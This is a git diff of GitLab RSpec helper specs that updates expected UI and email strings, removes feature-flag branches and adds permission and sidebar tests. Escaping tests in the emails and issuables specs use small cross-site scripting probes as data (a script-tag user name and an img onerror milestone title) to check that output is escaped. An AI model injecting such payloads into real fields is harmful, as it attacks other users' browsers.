index 3384f9fea05..a8514c373db 100644
--- a/spec/helpers/application_helper_spec.rb
+++ b/spec/helpers/application_helper_spec.rb
@@ -163,6 +163,13 @@ RSpec.describe ApplicationHelper do
expect(timeago_element.attr('class')).to eq 'js-short-timeago'
expect(timeago_element.next_element).to eq nil
end
+
+ it 'returns blank if time is nil' do
+ el = helper.time_ago_with_tooltip(nil)
+
+ expect(el).to eq('')
+ expect(el.html_safe).to eq('')
+ end
end
describe '#active_when' do
@@ -221,28 +228,43 @@ RSpec.describe ApplicationHelper do
end
describe '#instance_review_permitted?' do
- let_it_be(:non_admin_user) { create :user }
- let_it_be(:admin_user) { create :user, :admin }
+ shared_examples 'returns expected result depending on instance setting' do |instance_setting, expected_result|
+ before do
+ allow(::Gitlab::CurrentSettings).to receive(:instance_review_permitted?).and_return(instance_setting)
+ allow(helper).to receive(:current_user).and_return(current_user)
+ end
- before do
- allow(::Gitlab::CurrentSettings).to receive(:instance_review_permitted?).and_return(app_setting)
- allow(helper).to receive(:current_user).and_return(current_user)
+ it { is_expected.to be(expected_result) }
end
subject { helper.instance_review_permitted? }
- where(app_setting: [true, false], is_admin: [true, false, nil])
+ context 'as admin' do
+ let_it_be(:current_user) { build(:user, :admin) }
- with_them do
- let(:current_user) do
- if is_admin.nil?
- nil
- else
- is_admin ? admin_user : non_admin_user
+ context 'when admin mode setting is disabled', :do_not_mock_admin_mode_setting do
+ it_behaves_like 'returns expected result depending on instance setting', true, true
+ it_behaves_like 'returns expected result depending on instance setting', false, false
+ end
+
+ context 'when admin mode setting is enabled' do
+ context 'when in admin mode', :enable_admin_mode do
+ it_behaves_like 'returns expected result depending on instance setting', true, true
+ it_behaves_like 'returns expected result depending on instance setting', false, false
+ end
+
+ context 'when not in admin mode' do
+ it_behaves_like 'returns expected result depending on instance setting', true, false
+ it_behaves_like 'returns expected result depending on instance setting', false, false
end
end
+ end
+
+ context 'as normal user' do
+ let_it_be(:current_user) { build(:user) }
- it { is_expected.to be(app_setting && is_admin) }
+ it_behaves_like 'returns expected result depending on instance setting', true, false
+ it_behaves_like 'returns expected result depending on instance setting', false, false
end
end
@@ -597,16 +619,6 @@ RSpec.describe ApplicationHelper do
it 'returns nil' do
expect(helper.dispensable_render).to be_nil
end
-
- context 'when the feature flag is disabled' do
- before do
- stub_feature_flags(dispensable_render: false)
- end
-
- it 'raises an error' do
- expect { helper.dispensable_render }.to raise_error(StandardError)
- end
- end
end
end
@@ -651,16 +663,6 @@ RSpec.describe ApplicationHelper do
it 'returns nil' do
expect(helper.dispensable_render_if_exists).to be_nil
end
-
- context 'when the feature flag is disabled' do
- before do
- stub_feature_flags(dispensable_render: false)
- end
-
- it 'raises an error' do
- expect { helper.dispensable_render_if_exists }.to raise_error(StandardError)
- end
- end
end
end
diff --git a/spec/helpers/button_helper_spec.rb b/spec/helpers/button_helper_spec.rb
index a7f65aa3134..8a5669867bf 100644
--- a/spec/helpers/button_helper_spec.rb
+++ b/spec/helpers/button_helper_spec.rb
@@ -165,6 +165,7 @@ RSpec.describe ButtonHelper do
context 'when no `text` attribute is not provided' do
it 'shows copy to clipboard button with default configuration and no text set to copy' do
expect(element.attr('class')).to eq('btn btn-clipboard gl-button btn-default-tertiary btn-icon btn-sm')
+ expect(element.attr('title')).to eq('Copy')
expect(element.attr('type')).to eq('button')
expect(element.attr('aria-label')).to eq('Copy')
expect(element.attr('aria-live')).to eq('polite')
diff --git a/spec/helpers/ci/runners_helper_spec.rb b/spec/helpers/ci/runners_helper_spec.rb
index 1b1edde8faf..6d14abd6574 100644
--- a/spec/helpers/ci/runners_helper_spec.rb
+++ b/spec/helpers/ci/runners_helper_spec.rb
@@ -103,7 +103,7 @@ RSpec.describe Ci::RunnersHelper do
{
runner_enabled_value: Namespace::SR_ENABLED,
runner_disabled_value: Namespace::SR_DISABLED_AND_UNOVERRIDABLE,
- runner_allow_override_value: Namespace::SR_DISABLED_WITH_OVERRIDE
+ runner_allow_override_value: Namespace::SR_DISABLED_AND_OVERRIDABLE
}
end
@@ -197,7 +197,7 @@ RSpec.describe Ci::RunnersHelper do
where(:shared_runners_setting, :is_disabled_and_unoverridable) do
:shared_runners_enabled | "false"
- :disabled_with_override | "false"
+ :disabled_and_overridable | "false"
:disabled_and_unoverridable | "true"
end
diff --git a/spec/helpers/emails_helper_spec.rb b/spec/helpers/emails_helper_spec.rb
index 04653d9ff03..1f7400983da 100644
--- a/spec/helpers/emails_helper_spec.rb
+++ b/spec/helpers/emails_helper_spec.rb
@@ -385,7 +385,7 @@ RSpec.describe EmailsHelper do
context 'with no html tag' do
let(:expected_output) do
- 'Reviewer changed to John'
+ 'John was added as a reviewer.<br>'
end
it 'returns the expected output' do
@@ -395,7 +395,7 @@ RSpec.describe EmailsHelper do
context 'with <strong> tag' do
let(:expected_output) do
- 'Reviewer changed to <strong>John</strong>'
+ '<strong>John</strong> was added as a reviewer.<br>'
end
it 'returns the expected output' do
@@ -410,7 +410,7 @@ RSpec.describe EmailsHelper do
context 'with no html tag' do
let(:expected_output) do
- 'Reviewer changed from John and Mary to Ted'
+ 'Ted was added as a reviewer.<br>John and Mary were removed from reviewers.'
end
it 'returns the expected output' do
@@ -420,7 +420,7 @@ RSpec.describe EmailsHelper do
context 'with <strong> tag' do
let(:expected_output) do
- 'Reviewer changed from <strong>John and Mary</strong> to <strong>Ted</strong>'
+ '<strong>Ted</strong> was added as a reviewer.<br><strong>John and Mary</strong> were removed from reviewers.'
end
it 'returns the expected output' do
@@ -435,7 +435,7 @@ RSpec.describe EmailsHelper do
context 'with no html tag' do
let(:expected_output) do
- 'Reviewer changed from John and Mary to Unassigned'
+ 'All reviewers were removed.'
end
it 'returns the expected output' do
@@ -445,7 +445,7 @@ RSpec.describe EmailsHelper do
context 'with <strong> tag' do
let(:expected_output) do
- 'Reviewer changed from <strong>John and Mary</strong> to <strong>Unassigned</strong>'
+ 'All reviewers were removed.'
end
it 'returns the expected output' do
@@ -460,7 +460,7 @@ RSpec.describe EmailsHelper do
let(:fishy_user) { build(:user, name: "<script>alert('hi')</script>") }
let(:expected_output) do
- 'Reviewer changed to <strong>&lt;script&gt;alert(&#39;hi&#39;)&lt;/script&gt;</strong>'
+ '<strong>&lt;script&gt;alert(&#39;hi&#39;)&lt;/script&gt;</strong> was added as a reviewer.<br>'
end
it 'escapes the html tag' do
@@ -476,7 +476,7 @@ RSpec.describe EmailsHelper do
let(:fishy_user) { build(:user, name: "example.com") }
let(:expected_output) do
- 'Reviewer changed to example_com'
+ 'example_com was added as a reviewer.<br>'
end
it "sanitizes user's name" do
diff --git a/spec/helpers/feature_flags_helper_spec.rb b/spec/helpers/feature_flags_helper_spec.rb
index 228459277ca..786454c6c4d 100644
--- a/spec/helpers/feature_flags_helper_spec.rb
+++ b/spec/helpers/feature_flags_helper_spec.rb
@@ -38,7 +38,7 @@ RSpec.describe FeatureFlagsHelper do
feature_flags_path: "/#{project.full_path}/-/feature_flags",
environments_endpoint: "/#{project.full_path}/-/environments/search.json",
strategy_type_docs_page_path: "/help/operations/feature_flags#feature-flag-strategies",
- environments_scope_docs_path: "/help/ci/environments/index.md#scope-environments-with-specs")
+ environments_scope_docs_path: "/help/ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable")
end
end
end
diff --git a/spec/helpers/form_helper_spec.rb b/spec/helpers/form_helper_spec.rb
index 1797b0e32cd..7c8c59be409 100644
--- a/spec/helpers/form_helper_spec.rb
+++ b/spec/helpers/form_helper_spec.rb
@@ -162,6 +162,24 @@ RSpec.describe FormHelper do
end
end
+ it 'renders custom messages without the attribute name prefix' do
+ model = double(errors: errors_stub('Error 1'))
+ model.errors.add(:name, 'is already taken')
+ model.errors.add(:code_name, 'This code name is not allowed')
+
+ allow(model.class).to receive(:human_attribute_name) do |attribute|
+ attribute.to_s.capitalize
+ end
+
+ errors = helper.form_errors(model, custom_message: [:code_name])
+
+ aggregate_failures do
+ expect(errors).to include('<li>Error 1</li>')
+ expect(errors).to include('<li>Name is already taken</li>')
+ expect(errors).to include('<li>This code name is not allowed</li>')
+ end
+ end
+
it 'renders help page links' do
stubbed_errors = ActiveModel::Errors.new(double).tap do |errors|
errors.add(:base, 'No text.', help_page_url: 'http://localhost/doc/user/index.html')
diff --git a/spec/helpers/groups/group_members_helper_spec.rb b/spec/helpers/groups/group_members_helper_spec.rb
index 4d1280533dd..a9c6822e2c1 100644
--- a/spec/helpers/groups/group_members_helper_spec.rb
+++ b/spec/helpers/groups/group_members_helper_spec.rb
@@ -55,7 +55,9 @@ RSpec.describe Groups::GroupMembersHelper do
expected = {
source_id: shared_group.id,
can_manage_members: true,
- can_manage_access_requests: true
+ can_manage_access_requests: true,
+ group_name: shared_group.name,
+ group_path: shared_group.full_path
}
expect(subject).to include(expected)
diff --git a/spec/helpers/groups/observability_helper_spec.rb b/spec/helpers/groups/observability_helper_spec.rb
index 6d0a8631f78..ee33a853f9c 100644
--- a/spec/helpers/groups/observability_helper_spec.rb
+++ b/spec/helpers/groups/observability_helper_spec.rb
@@ -22,6 +22,11 @@ RSpec.describe Groups::ObservabilityHelper do
allow(helper).to receive(:params).and_return({ action: 'explore' })
expect(helper.observability_iframe_src(group)).to eq("#{observability_url}/-/#{group.id}/explore")
end
+
+ it 'returns the iframe src for action: datasources' do
+ allow(helper).to receive(:params).and_return({ action: 'datasources' })
+ expect(helper.observability_iframe_src(group)).to eq("#{observability_url}/-/#{group.id}/datasources")
+ end
end
context 'if observability_path exists in params' do
@@ -65,6 +70,11 @@ RSpec.describe Groups::ObservabilityHelper do
allow(helper).to receive(:params).and_return({ action: 'explore' })
expect(helper.observability_iframe_src(group)).to eq("#{observability_url}/explore")
end
+
+ it 'returns the iframe src without group.id for action: datasources' do
+ allow(helper).to receive(:params).and_return({ action: 'datasources' })
+ expect(helper.observability_iframe_src(group)).to eq("#{observability_url}/datasources")
+ end
end
end
@@ -76,12 +86,17 @@ RSpec.describe Groups::ObservabilityHelper do
it 'returns the title for action: manage' do
allow(helper).to receive(:params).and_return({ action: 'manage' })
- expect(helper.observability_page_title).to eq("Manage Dashboards")
+ expect(helper.observability_page_title).to eq("Manage dashboards")
end
it 'returns the title for action: explore' do
allow(helper).to receive(:params).and_return({ action: 'explore' })
- expect(helper.observability_page_title).to eq("Explore")
+ expect(helper.observability_page_title).to eq("Explore telemetry data")
+ end
+
+ it 'returns the title for action: datasources' do
+ allow(helper).to receive(:params).and_return({ action: 'datasources' })
+ expect(helper.observability_page_title).to eq("Data sources")
end
it 'returns the default title for unknown action' do
diff --git a/spec/helpers/import_helper_spec.rb b/spec/helpers/import_helper_spec.rb
index 18cbbdfd804..7a5a69ea5b5 100644
--- a/spec/helpers/import_helper_spec.rb
+++ b/spec/helpers/import_helper_spec.rb
@@ -49,4 +49,20 @@ RSpec.describe ImportHelper do
expect(helper.provider_project_link_url(host_url, full_path)).to match('http://provider.com/repo/path')
end
end
+
+ describe '#import_configure_github_admin_message' do
+ subject { helper.import_configure_github_admin_message }
+
+ it 'returns note for admin' do
+ allow(helper).to receive(:current_user) { instance_double('User', can_admin_all_resources?: true) }
+
+ is_expected.to have_text('Note: As an administrator')
+ end
+
+ it 'returns note for other user' do
+ allow(helper).to receive(:current_user) { instance_double('User', can_admin_all_resources?: false) }
+
+ is_expected.to have_text('Note: Consider asking your GitLab administrator')
+ end
+ end
end
diff --git a/spec/helpers/issuables_helper_spec.rb b/spec/helpers/issuables_helper_spec.rb
index 15b57a4c9eb..f2e3e401766 100644
--- a/spec/helpers/issuables_helper_spec.rb
+++ b/spec/helpers/issuables_helper_spec.rb
@@ -112,19 +112,7 @@ RSpec.describe IssuablesHelper do
context 'when assigned issues count is over 100' do
let_it_be(:issues) { create_list(:issue, 101, project: project, assignees: [user]) }
- before do
- stub_feature_flags(limit_assigned_issues_count: false)
- end
-
- it { is_expected.to eq 101 }
-
- context 'when FF limit_assigned_issues_count is enabled' do
- before do
- stub_feature_flags(limit_assigned_issues_count: true)
- end
-
- it { is_expected.to eq 100 }
- end
+ it { is_expected.to eq 100 }
end
end
end
@@ -142,19 +130,7 @@ RSpec.describe IssuablesHelper do
context 'when assigned issues count is over 99' do
let_it_be(:issues) { create_list(:issue, 100, project: project, assignees: [user]) }
- before do
- stub_feature_flags(limit_assigned_issues_count: false)
- end
-
- it { is_expected.to eq '100' }
-
- context 'when FF limit_assigned_issues_count is enabled' do
- before do
- stub_feature_flags(limit_assigned_issues_count: true)
- end
-
- it { is_expected.to eq '99+' }
- end
+ it { is_expected.to eq '99+' }
end
end
@@ -629,4 +605,28 @@ RSpec.describe IssuablesHelper do
expect(helper.sidebar_milestone_tooltip_label(milestone)).to eq('&lt;img onerror=alert(1)&gt;<br/>Milestone')
end
end
+
+ describe '#hidden_issuable_icon', feature_category: :insider_threat do
+ let_it_be(:mock_svg) { '<svg></svg>'.html_safe }
+
+ before do
+ allow(helper).to receive(:sprite_icon).and_return(mock_svg)
+ end
+
+ context 'when issuable is an issue' do
+ let_it_be(:issuable) { build(:issue) }
+
+ it 'returns icon with tooltip' do
+ expect(helper.hidden_issuable_icon(issuable)).to eq("<span class=\"has-tooltip\" title=\"This issue is hidden because its author has been banned\">#{mock_svg}</span>")
+ end
+ end
+
+ context 'when issuable is a merge request' do
+ let_it_be(:issuable) { build(:merge_request) }
+
+ it 'returns icon with tooltip' do
+ expect(helper.hidden_issuable_icon(issuable)).to eq("<span class=\"has-tooltip\" title=\"This merge request is hidden because its author has been banned\">#{mock_svg}</span>")
+ end
+ end
+ end
end
diff --git a/spec/helpers/issues_helper_spec.rb b/spec/helpers/issues_helper_spec.rb
index ed363268cdf..0024d6b7b4e 100644
--- a/spec/helpers/issues_helper_spec.rb
+++ b/spec/helpers/issues_helper_spec.rb
@@ -266,7 +266,9 @@ RSpec.describe IssuesHelper do
issue_type: 'issue',
new_issue_path: new_project_issue_path(project, { add_related_issue: issue.iid }),
project_path: project.full_path,
- report_abuse_path: new_abuse_report_path(user_id: issue.author.id, ref_url: issue_url(issue)),
+ report_abuse_path: add_category_abuse_reports_path,
+ reported_user_id: issue.author.id,
+ reported_from_url: issue_url(issue),
submit_as_spam_path: mark_as_spam_project_issue_path(project, issue)
}
@@ -389,8 +391,12 @@ RSpec.describe IssuesHelper do
allow(helper).to receive(:url_for).and_return('#')
expected = {
+ autocomplete_award_emojis_path: autocomplete_award_emojis_path,
calendar_path: '#',
- empty_state_svg_path: '#',
+ dashboard_labels_path: dashboard_labels_path(format: :json, include_ancestor_groups: true),
+ dashboard_milestones_path: dashboard_milestones_path(format: :json),
+ empty_state_with_filter_svg_path: '#',
+ empty_state_without_filter_svg_path: '#',
initial_sort: current_user&.user_preference&.issues_sort,
is_public_visibility_restricted: Gitlab::CurrentSettings.restricted_visibility_levels ? 'false' : '',
is_signed_in: current_user.present?.to_s,
@@ -472,43 +478,6 @@ RSpec.describe IssuesHelper do
end
end
- describe '#status_box_class' do
- context 'when object is expired' do
- it 'returns orange background' do
- milestone = build(:milestone, due_date: Date.today.prev_month)
- expect(helper.status_box_class(milestone)).to eq('gl-bg-orange-500')
- end
- end
-
- context 'when object is merged' do
- it 'returns blue background' do
- merge_request = build(:merge_request, :merged)
- expect(helper.status_box_class(merge_request)).to eq('badge-info')
- end
- end
-
- context 'when object is closed' do
- it 'returns red background' do
- merge_request = build(:merge_request, :closed)
- expect(helper.status_box_class(merge_request)).to eq('badge-danger')
- end
- end
-
- context 'when object is upcoming' do
- it 'returns gray background' do
- milestone = build(:milestone, start_date: Date.today.next_month)
- expect(helper.status_box_class(milestone)).to eq('gl-bg-gray-500')
- end
- end
-
- context 'when object is opened' do
- it 'returns green background' do
- merge_request = build(:merge_request, :opened)
- expect(helper.status_box_class(merge_request)).to eq('badge-success')
- end
- end
- end
-
describe '#issue_hidden?' do
context 'when issue is hidden' do
let_it_be(:banned_user) { build(:user, :banned) }
diff --git a/spec/helpers/markup_helper_spec.rb b/spec/helpers/markup_helper_spec.rb
index d1c86abf6e9..088519248c6 100644
--- a/spec/helpers/markup_helper_spec.rb
+++ b/spec/helpers/markup_helper_spec.rb
@@ -449,21 +449,21 @@ RSpec.describe MarkupHelper do
object = create_object('Text with `inline code`')
expected = 'Text with <code>inline code</code>'
- expect(first_line_in_markdown(object, attribute, 100, is_todo: true, project: project)).to match(expected)
+ expect(helper.first_line_in_markdown(object, attribute, 100, is_todo: true, project: project)).to match(expected)
end
it 'truncates the text with multiple paragraphs' do
object = create_object("Paragraph 1\n\nParagraph 2")
expected = 'Paragraph 1...'
- expect(first_line_in_markdown(object, attribute, 100, is_todo: true, project: project)).to match(expected)
+ expect(helper.first_line_in_markdown(object, attribute, 100, is_todo: true, project: project)).to match(expected)
end
it 'displays the first line of a code block' do
object = create_object("```\nCode block\nwith two lines\n```")
expected = %r{<pre.+><code><span class="line">Code block\.\.\.</span>\n</code></pre>}
- expect(first_line_in_markdown(object, attribute, 100, is_todo: true, project: project)).to match(expected)
+ expect(helper.first_line_in_markdown(object, attribute, 100, is_todo: true, project: project)).to match(expected)
end
it 'truncates a single long line of text' do
@@ -471,7 +471,7 @@ RSpec.describe MarkupHelper do
object = create_object(text * 4)
expected = (text * 2).sub(/.{3}/, '...')
- expect(first_line_in_markdown(object, attribute, 150, is_todo: true, project: project)).to match(expected)
+ expect(helper.first_line_in_markdown(object, attribute, 150, is_todo: true, project: project)).to match(expected)
end
it 'preserves code color scheme' do
@@ -480,12 +480,12 @@ RSpec.describe MarkupHelper do
"<code><span class=\"line\"><span class=\"k\">def</span> <span class=\"nf\">test</span>...</span>\n" \
"</code></pre>\n"
- expect(first_line_in_markdown(object, attribute, 150, is_todo: true, project: project)).to eq(expected)
+ expect(helper.first_line_in_markdown(object, attribute, 150, is_todo: true, project: project)).to eq(expected)
end
it 'removes any images' do
object = create_object("![ImageTest](/uploads/test.png)")
- text = first_line_in_markdown(object, attribute, 150, is_todo: true, project: project)
+ text = helper.first_line_in_markdown(object, attribute, 150, is_todo: true, project: project)
expect(text).not_to match('<img')
expect(text).not_to match('<a')
@@ -498,7 +498,7 @@ RSpec.describe MarkupHelper do
create(:label, title: 'label_1', project: project)
object = create_object(label_title, project: project)
- first_line_in_markdown(object, attribute, 150, is_todo: true, project: project)
+ helper.first_line_in_markdown(object, attribute, 150, is_todo: true, project: project)
end
it 'preserves style attribute for a label that can be accessed by current_user' do
@@ -522,7 +522,7 @@ RSpec.describe MarkupHelper do
html = '<i></i> <strong>strong</strong><em>em</em><b>b</b>'
object = create_object(html)
- result = first_line_in_markdown(object, attribute, 100, is_todo: true, project: project)
+ result = helper.first_line_in_markdown(object, attribute, 100, is_todo: true, project: project)
expect(result).to include(html)
end
@@ -531,7 +531,7 @@ RSpec.describe MarkupHelper do
object = create_object("hello \n\n [Test](README.md)")
expect do
- first_line_in_markdown(object, attribute, 100, is_todo: true, project: project)
+ helper.first_line_in_markdown(object, attribute, 100, is_todo: true, project: project)
end.not_to change { Gitlab::GitalyClient.get_request_count }
end
end
diff --git a/spec/helpers/nav_helper_spec.rb b/spec/helpers/nav_helper_spec.rb
index 4a37e17fb08..adf784360c2 100644
--- a/spec/helpers/nav_helper_spec.rb
+++ b/spec/helpers/nav_helper_spec.rb
@@ -134,4 +134,62 @@ RSpec.describe NavHelper do
it { is_expected.to eq(true) }
end
end
+
+ describe '#show_super_sidebar?' do
+ shared_examples '#show_super_sidebar returns false' do
+ it 'returns false' do
+ expect(helper.show_super_sidebar?).to eq(false)
+ end
+ end
+
+ it 'returns false by default' do
+ allow(helper).to receive(:current_user).and_return(nil)
+
+ expect(helper.show_super_sidebar?).to be_falsy
+ end
+
+ context 'when used is signed-in' do
+ let_it_be(:user) { create(:user) }
+
+ before do
+ allow(helper).to receive(:current_user).and_return(user)
+ stub_feature_flags(super_sidebar_nav: new_nav_ff)
+ user.update!(use_new_navigation: user_preference)
+ end
+
+ context 'with feature flag off' do
+ let(:new_nav_ff) { false }
+
+ context 'when user has new nav disabled' do
+ let(:user_preference) { false }
+
+ it_behaves_like '#show_super_sidebar returns false'
+ end
+
+ context 'when user has new nav enabled' do
+ let(:user_preference) { true }
+
+ it_behaves_like '#show_super_sidebar returns false'
+ end
+ end
+
+ context 'with feature flag on' do
+ let(:new_nav_ff) { true }
+
+ context 'when user has new nav disabled' do
+ let(:user_preference) { false }
+
+ it_behaves_like '#show_super_sidebar returns false'
+ end
+
+ context 'when user has new nav enabled' do
+ let(:user_preference) { true }
+
+ it 'returns true' do
+ expect(helper.show_super_sidebar?).to eq(true)
+ end
+ end
+ end
+ end
+ end
end
diff --git a/spec/helpers/preferences_helper_spec.rb b/spec/helpers/preferences_helper_spec.rb
index 99f750bb858..898999e328e 100644
--- a/spec/helpers/preferences_helper_spec.rb
+++ b/spec/helpers/preferences_helper_spec.rb
@@ -25,15 +25,15 @@ RSpec.describe PreferencesHelper do
it 'provides better option descriptions' do
expect(helper.dashboard_choices).to match_array [
- ['Your Projects (default)', 'projects'],
- ['Starred Projects', 'stars'],
- ["Your Projects' Activity", 'project_activity'],
- ["Starred Projects' Activity", 'starred_project_activity'],
- ["Followed Users' Activity", 'followed_user_activity'],
- ["Your Groups", 'groups'],
- ["Your To-Do List", 'todos'],
- ["Assigned Issues", 'issues'],
- ["Assigned merge requests", 'merge_requests']
+ { text: "Your Projects (default)", value: 'projects' },
+ { text: "Starred Projects", value: 'stars' },
+ { text: "Your Projects' Activity", value: 'project_activity' },
+ { text: "Starred Projects' Activity", value: 'starred_project_activity' },
+ { text: "Followed Users' Activity", value: 'followed_user_activity' },
+ { text: "Your Groups", value: 'groups' },
+ { text: "Your To-Do List", value: 'todos' },
+ { text: "Assigned Issues", value: 'issues' },
+ { text: "Assigned merge requests", value: 'merge_requests' }
]
end
end
@@ -214,9 +214,9 @@ RSpec.describe PreferencesHelper do
stub_user(preferred_language: :en)
expect(helper.language_choices).to eq([
- '<option selected="selected" value="en">English (100% translated)</option>',
- '<option value="es">Spanish - español (65% translated)</option>'
- ].join("\n"))
+ { text: "English (100% translated)", value: 'en' },
+ { text: "Spanish - español (65% translated)", value: 'es' }
+ ])
end
end
diff --git a/spec/helpers/projects/ml/experiments_helper_spec.rb b/spec/helpers/projects/ml/experiments_helper_spec.rb
index e6959a03c4a..2b70201456a 100644
--- a/spec/helpers/projects/ml/experiments_helper_spec.rb
+++ b/spec/helpers/projects/ml/experiments_helper_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe Projects::Ml::ExperimentsHelper, feature_category: :mlops do
let_it_be(:project) { create(:project, :private) }
let_it_be(:experiment) { create(:ml_experiments, user_id: project.creator, project: project) }
let_it_be(:candidate0) do
- create(:ml_candidates, experiment: experiment, user: project.creator).tap do |c|
+ create(:ml_candidates, :with_artifact, experiment: experiment, user: project.creator).tap do |c|
c.params.build([{ name: 'param1', value: 'p1' }, { name: 'param2', value: 'p2' }])
c.metrics.create!(
[{ name: 'metric1', value: 0.1 }, { name: 'metric2', value: 0.2 }, { name: 'metric3', value: 0.3 }]
@@ -18,7 +18,7 @@ RSpec.describe Projects::Ml::ExperimentsHelper, feature_category: :mlops do
end
let_it_be(:candidate1) do
- create(:ml_candidates, experiment: experiment, user: project.creator).tap do |c|
+ create(:ml_candidates, experiment: experiment, user: project.creator, name: 'candidate1').tap do |c|
c.params.build([{ name: 'param2', value: 'p3' }, { name: 'param3', value: 'p4' }])
c.metrics.create!(name: 'metric3', value: 0.4)
end
@@ -27,17 +27,39 @@ RSpec.describe Projects::Ml::ExperimentsHelper, feature_category: :mlops do
let_it_be(:candidates) { [candidate0, candidate1] }
describe '#candidates_table_items' do
- subject { helper.candidates_table_items(candidates) }
+ subject { Gitlab::Json.parse(helper.candidates_table_items(candidates)) }
- it 'creates the correct model for the table' do
- expected_value = [
+ it 'creates the correct model for the table', :aggregate_failures do
+ expected_values = [
{ 'param1' => 'p1', 'param2' => 'p2', 'metric1' => '0.1000', 'metric2' => '0.2000', 'metric3' => '0.3000',
- 'artifact' => nil, 'details' => "/#{project.full_path}/-/ml/candidates/#{candidate0.iid}" },
+ 'artifact' => "/#{project.full_path}/-/packages/#{candidate0.artifact.id}",
+ 'details' => "/#{project.full_path}/-/ml/candidates/#{candidate0.iid}",
+ 'name' => candidate0.name,
+ 'created_at' => candidate0.created_at.strftime('%Y-%m-%dT%H:%M:%S.%LZ'),
+ 'user' => { 'username' => candidate0.user.username, 'path' => "/#{candidate0.user.username}" } },
{ 'param2' => 'p3', 'param3' => 'p4', 'metric3' => '0.4000',
- 'artifact' => nil, 'details' => "/#{project.full_path}/-/ml/candidates/#{candidate1.iid}" }
+ 'artifact' => nil, 'details' => "/#{project.full_path}/-/ml/candidates/#{candidate1.iid}",
+ 'name' => candidate1.name,
+ 'created_at' => candidate1.created_at.strftime('%Y-%m-%dT%H:%M:%S.%LZ'),
+ 'user' => { 'username' => candidate1.user.username, 'path' => "/#{candidate1.user.username}" } }
]
- expect(Gitlab::Json.parse(subject)).to match_array(expected_value)
+ subject.sort_by! { |s| s[:name] }
+
+ expect(subject[0]).to eq(expected_values[0])
+ expect(subject[1]).to eq(expected_values[1])
+ end
+
+ context 'when candidate does not have user' do
+ let(:candidates) { [candidate0] }
+
+ before do
+ allow(candidate0).to receive(:user).and_return(nil)
+ end
+
+ it 'has the user property, but is nil' do
+ expect(subject[0]['user']).to be_nil
+ end
end
end
@@ -57,9 +79,6 @@ RSpec.describe Projects::Ml::ExperimentsHelper, feature_category: :mlops do
describe '#candidate_as_data' do
let(:candidate) { candidate0 }
- let(:package) do
- create(:generic_package, name: candidate.package_name, version: candidate.package_version, project: project)
- end
subject { Gitlab::Json.parse(helper.candidate_as_data(candidate)) }
@@ -81,7 +100,7 @@ RSpec.describe Projects::Ml::ExperimentsHelper, feature_category: :mlops do
it 'generates the correct info' do
expected_info = {
'iid' => candidate.iid,
- 'path_to_artifact' => "/#{project.full_path}/-/packages/#{package.id}",
+ 'path_to_artifact' => "/#{project.full_path}/-/packages/#{candidate.artifact.id}",
'experiment_name' => candidate.experiment.name,
'path_to_experiment' => "/#{project.full_path}/-/ml/experiments/#{experiment.iid}",
'status' => 'running'
diff --git a/spec/helpers/projects/project_members_helper_spec.rb b/spec/helpers/projects/project_members_helper_spec.rb
index f3201ce0e14..2cc87e8aeb9 100644
--- a/spec/helpers/projects/project_members_helper_spec.rb
+++ b/spec/helpers/projects/project_members_helper_spec.rb
@@ -6,7 +6,7 @@ RSpec.describe Projects::ProjectMembersHelper do
include MembersPresentation
let_it_be(:current_user) { create(:user) }
- let_it_be(:project) { create(:project) }
+ let_it_be(:project) { create(:project, group: create(:group)) }
before do
allow(helper).to receive(:current_user).and_return(current_user)
@@ -42,7 +42,9 @@ RSpec.describe Projects::ProjectMembersHelper do
expected = {
source_id: project.id,
can_manage_members: true,
- can_manage_access_requests: true
+ can_manage_access_requests: true,
+ group_name: project.group.name,
+ group_path: project.group.path
}.as_json
expect(subject).to include(expected)
@@ -138,8 +140,8 @@ RSpec.describe Projects::ProjectMembersHelper do
where(:include_relations, :result) do
[:inherited, :direct] | lazy { [group_link_7, group_link_4, group_link_9, group_link_5, group_link_3].map(&:id) }
- [:inherited] | lazy { [group_link_1, group_link_4, group_link_5, group_link_3].map(&:id) }
- [:direct] | lazy { [group_link_7, group_link_8, group_link_9].map(&:id) }
+ [:inherited] | lazy { [group_link_1, group_link_4, group_link_5, group_link_3].map(&:id) }
+ [:direct] | lazy { [group_link_7, group_link_8, group_link_9].map(&:id) }
end
with_them do
diff --git a/spec/helpers/projects_helper_spec.rb b/spec/helpers/projects_helper_spec.rb
index db50c74ec4e..91dd4c46a74 100644
--- a/spec/helpers/projects_helper_spec.rb
+++ b/spec/helpers/projects_helper_spec.rb
@@ -206,7 +206,7 @@ RSpec.describe ProjectsHelper do
it 'loads the pipeline status in batch' do
helper.load_pipeline_status([project])
# Skip lazy loading of the `pipeline_status` attribute
- pipeline_status = project.instance_variable_get('@pipeline_status')
+ pipeline_status = project.instance_variable_get(:@pipeline_status)
expect(pipeline_status).to be_a(Gitlab::Cache::Ci::ProjectPipelineStatus)
end
@@ -1086,7 +1086,7 @@ RSpec.describe ProjectsHelper do
context 'as a user' do
it 'returns a link to contact an administrator' do
- allow(user).to receive(:admin?).and_return(false)
+ allow(user).to receive(:can_admin_all_resources?).and_return(false)
expect(subject).to have_text("To enable importing projects from #{import_method}, ask your GitLab administrator to configure OAuth integration")
end
@@ -1094,7 +1094,7 @@ RSpec.describe ProjectsHelper do
context 'as an administrator' do
it 'returns a link to configure bitbucket' do
- allow(user).to receive(:admin?).and_return(true)
+ allow(user).to receive(:can_admin_all_resources?).and_return(true)
expect(subject).to have_text("To enable importing projects from #{import_method}, as administrator you need to configure OAuth integration")
end
@@ -1333,27 +1333,6 @@ RSpec.describe ProjectsHelper do
end
end
- describe '#fork_divergence_message' do
- using RSpec::Parameterized::TableSyntax
-
- where(:behind, :ahead, :message) do
- 0 | 0 | 'Up to date with upstream repository'
- 1 | 0 | '1 commit behind upstream repository'
- 2 | 0 | '2 commits behind upstream repository'
- 0 | 1 | '1 commit ahead of upstream repository'
- 0 | 2 | '2 commits ahead of upstream repository'
- 5 | 7 | '5 commits behind, 7 commits ahead of upstream repository'
- nil | 7 | 'Fork has diverged from upstream repository'
- 7 | nil | 'Fork has diverged from upstream repository'
- end
-
- with_them do
- it 'returns message based on behind/ahead values' do
- expect(helper.fork_divergence_message({ behind: behind, ahead: ahead })).to eq(message)
- end
- end
- end
-
describe '#localized_project_human_access' do
using RSpec::Parameterized::TableSyntax
diff --git a/spec/helpers/search_helper_spec.rb b/spec/helpers/search_helper_spec.rb
index 45864320115..c7afe0bf391 100644
--- a/spec/helpers/search_helper_spec.rb
